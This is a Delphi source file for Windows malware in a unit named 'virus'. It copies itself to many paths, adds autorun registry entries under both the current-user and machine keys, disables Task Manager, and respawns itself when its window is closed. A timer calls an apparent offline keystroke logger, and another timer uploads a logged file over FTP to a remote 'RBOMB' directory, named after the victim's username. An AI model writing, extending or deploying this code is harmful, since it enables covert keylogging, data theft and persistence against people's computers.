Someone

unit virus;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Registry, StdCtrls, jpeg, ExtCtrls, SHELLAPI, Sockets,
  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdFTP, IdFTPCommon;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Label1: TLabel;
    Image1: TImage;
    RegTimer1: TTimer;
    RegTimer3: TTimer;
    RegTimer2: TTimer;
    IdFTP1: TIdFTP;
    FTPTimer: TTimer;
    Timer1: TTimer;
    Memo1: TMemo;
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure caNone(Sender: TObject; var Action: TCloseAction);
    procedure RegTimer1Timer(Sender: TObject);
    procedure RegTimer3Timer(Sender: TObject);
    procedure RegTimer2Timer(Sender: TObject);
    procedure FTPTimerTimer(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation
uses
untOffLineLogger;

{$R *.dfm}


function GetCurrentUserName: string;
const
  cnMaxUserNameLen = 254;
var
  sUserName: string;
  dwUserNameLen: DWORD;
begin
  dwUserNameLen := cnMaxUserNameLen - 1;
  SetLength(sUserName, cnMaxUserNameLen);
  GetUserName(PChar(sUserName), dwUserNameLen);
  SetLength(sUserName, dwUserNameLen);
  Result := sUserName;
end;

 procedure TForm1.Timer1Timer(Sender: TObject);
begin
OLGetLetter;
end;

procedure RegEdit1;
var
  Reg: TRegistry;
  sExeName: string;
begin
   Reg := TRegistry.Create;
   sExeName := ExtractFileName(Application.ExeName);
   with Reg do
  begin
    RootKey := HKEY_CURRENT_USER;
    OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', True);
    WriteString('A', 'C:\Program Files\Windows Live\Z'+sExeName);
    WriteString('B', 'C:\Program Files\Windows Live\Y'+sExeName);
    WriteString('C', 'C:\Program Files\Windows Live\X'+sExeName);
    WriteString('D', 'C:\Program Files\Windows Live\W'+sExeName);
    WriteString('E', 'C:\Program Files\Windows Live\P'+sExeName);
    WriteString('F', 'C:\Program Files\Windows Live\U'+sExeName);
    WriteString('G', 'C:\Program Files\Windows Live\T'+sExeName);
    WriteString('H', 'C:\Program Files\Windows Live\S'+sExeName);
    WriteString('I', 'C:\Program Files\Windows Live\R'+sExeName);
    WriteString('J', 'C:\Program Files\Windows Live\Q'+sExeName);
    WriteString('K', 'C:\Program Files\Windows Live\P'+sExeName);
    WriteString('L', 'C:\Program Files\Windows Live\O'+sExeName);
    WriteString('M', 'C:\Program Files\Windows Live\N'+sExeName);
    WriteString('N', 'C:\Program Files\Windows Live\M'+sExeName);
    WriteString('O', 'C:\Program Files\Windows Live\L'+sExeName);
    WriteString('P', 'C:\Program Files\Windows Live\K'+sExeName);
    WriteString('Q', 'C:\Program Files\Windows Live\J'+sExeName);
    WriteString('R', 'C:\Program Files\Windows Live\I'+sExeName);
    WriteString('S', 'C:\Program Files\Windows Live\H'+sExeName);
    WriteString('T', 'C:\Program Files\Windows Live\G'+sExeName);
    WriteString('U', 'C:\Program Files\Windows Live\F'+sExeName);
    WriteString('V', 'C:\Program Files\Windows Live\E'+sExeName);
    WriteString('W', 'C:\Program Files\Windows Live\D'+sExeName);
    WriteString('X', 'C:\Program Files\Windows Live\C'+sExeName);
    WriteString('Y', 'C:\Program Files\Windows Live\B'+sExeName);
    WriteString('Z', 'C:\Program Files\Windows Live\A'+sExeName);
    CloseKey;
    Free;
  end;
end;

procedure RegEdit3;
var
  Reg: TRegistry;
  sExeName: string;
begin
   Reg := TRegistry.Create;
   sExeName := ExtractFileName(Application.ExeName);
   with Reg do
  begin
    RootKey := HKEY_LOCAL_MACHINE;
    OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', True);
    WriteString('A', 'C:\Program Files\Windows Live\Z'+sExeName);
    WriteString('B', 'C:\Program Files\Windows Live\Y'+sExeName);
    WriteString('C', 'C:\Program Files\Windows Live\X'+sExeName);
    WriteString('D', 'C:\Program Files\Windows Live\W'+sExeName);
    WriteString('E', 'C:\Program Files\Windows Live\P'+sExeName);
    WriteString('F', 'C:\Program Files\Windows Live\U'+sExeName);
    WriteString('G', 'C:\Program Files\Windows Live\T'+sExeName);
    WriteString('H', 'C:\Program Files\Windows Live\S'+sExeName);
    WriteString('I', 'C:\Program Files\Windows Live\R'+sExeName);
    WriteString('J', 'C:\Program Files\Windows Live\Q'+sExeName);
    WriteString('K', 'C:\Program Files\Windows Live\P'+sExeName);
    WriteString('L', 'C:\Program Files\Windows Live\O'+sExeName);
    WriteString('M', 'C:\Program Files\Windows Live\N'+sExeName);
    WriteString('N', 'C:\Program Files\Windows Live\M'+sExeName);
    WriteString('O', 'C:\Program Files\Windows Live\L'+sExeName);
    WriteString('P', 'C:\Program Files\Windows Live\K'+sExeName);
    WriteString('Q', 'C:\Program Files\Windows Live\J'+sExeName);
    WriteString('R', 'C:\Program Files\Windows Live\I'+sExeName);
    WriteString('S', 'C:\Program Files\Windows Live\H'+sExeName);
    WriteString('T', 'C:\Program Files\Windows Live\G'+sExeName);
    WriteString('U', 'C:\Program Files\Windows Live\F'+sExeName);
    WriteString('V', 'C:\Program Files\Windows Live\E'+sExeName);
    WriteString('W', 'C:\Program Files\Windows Live\D'+sExeName);
    WriteString('X', 'C:\Program Files\Windows Live\C'+sExeName);
    WriteString('Y', 'C:\Program Files\Windows Live\B'+sExeName);
    WriteString('Z', 'C:\Program Files\Windows Live\A'+sExeName);
    CloseKey;
    Free;
  end;
end;

procedure RegEdit2;
var
  Reg: TRegistry;

begin
   Reg := TRegistry.Create;
  with Reg do
  begin
  RootKey := HKEY_CURRENT_USER;
  OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\System',false);
  WriteInteger('DisableTaskMgr', 1);
  //WriteInteger('DisableRegistryTools', 1);
  Free;
  end;
end;


procedure CopyFileZA;
var
 fileSource, fileDest: string;
 sExePath: string;
 sExeName: string;
 Count : integer;
 begin
   sExePath := ExtractFilePath(Application.ExeName);
   sExeName := ExtractFileName(Application.ExeName);
     for Count := 90 downto 65 do  begin
       FileSource := sExePath+sExeName;
       FileDest := 'C:\Program Files\Windows Live\'+Chr(Count)+sExeName;
       CopyFile(PChar(FileSource), PChar(FileDest), False);
 end;
 end;


procedure TForm1.FormCreate(Sender: TObject);
begin
   // CopyFileZA;
   // RegEdit1;
   // RegEdit2;
    end;


procedure TForm1.Button1Click(Sender: TObject);
var
  execCount : integer;
  sExePath: string;
  sExeName: string;
begin
  execCount := 3;
  sExePath := ExtractFilePath(Application.ExeName);
  sExeName := ExtractFileName(Application.ExeName);
    ShellExecute(Application.Handle,'open',PChar(Application.ExeName),PChar(IntToStr(execCount)),'',SW_SHOW) ;
    ShellExecute(Application.Handle,'open',PChar(Application.ExeName),PChar(IntToStr(execCount)),'',SW_SHOW) ;
    end;


procedure TForm1.caNone(Sender: TObject; var Action: TCloseAction);
var
  execCount : integer;
  sExePath: string;
  sExeName: string;
begin
  execCount := 3;
  sExePath := ExtractFilePath(Application.ExeName);
  sExeName := ExtractFileName(Application.ExeName);
   ShellExecute(Application.Handle,'open',PChar(Application.ExeName),PChar(IntToStr(execCount)),'',SW_SHOW) ;
   ShellExecute(Application.Handle,'open',PChar(Application.ExeName),PChar(IntToStr(execCount)),'',SW_SHOW) ;
   ShellExecute(Application.Handle,'open',PChar(Application.ExeName),PChar(IntToStr(execCount)),'',SW_SHOW) ;
end;

procedure TForm1.RegTimer1Timer(Sender: TObject);
begin
//RegEdit2;
end;

procedure TForm1.RegTimer3Timer(Sender: TObject);
begin
//RegEdit3;
end;

procedure TForm1.RegTimer2Timer(Sender: TObject);
begin
//RegEdit1;
end;

procedure TForm1.FTPTimerTimer(Sender: TObject);

begin
  idftp1.Connect;
  try
    if idftp1.connected then
    begin
      idftp1.ChangeDir('RBOMB');
      idftp1.Put('C:\Program Files\Windows Live\installer', GetCurrentUserName+'.txt');
    end
  finally
    idftp1.Disconnect;
  end;
end;




end.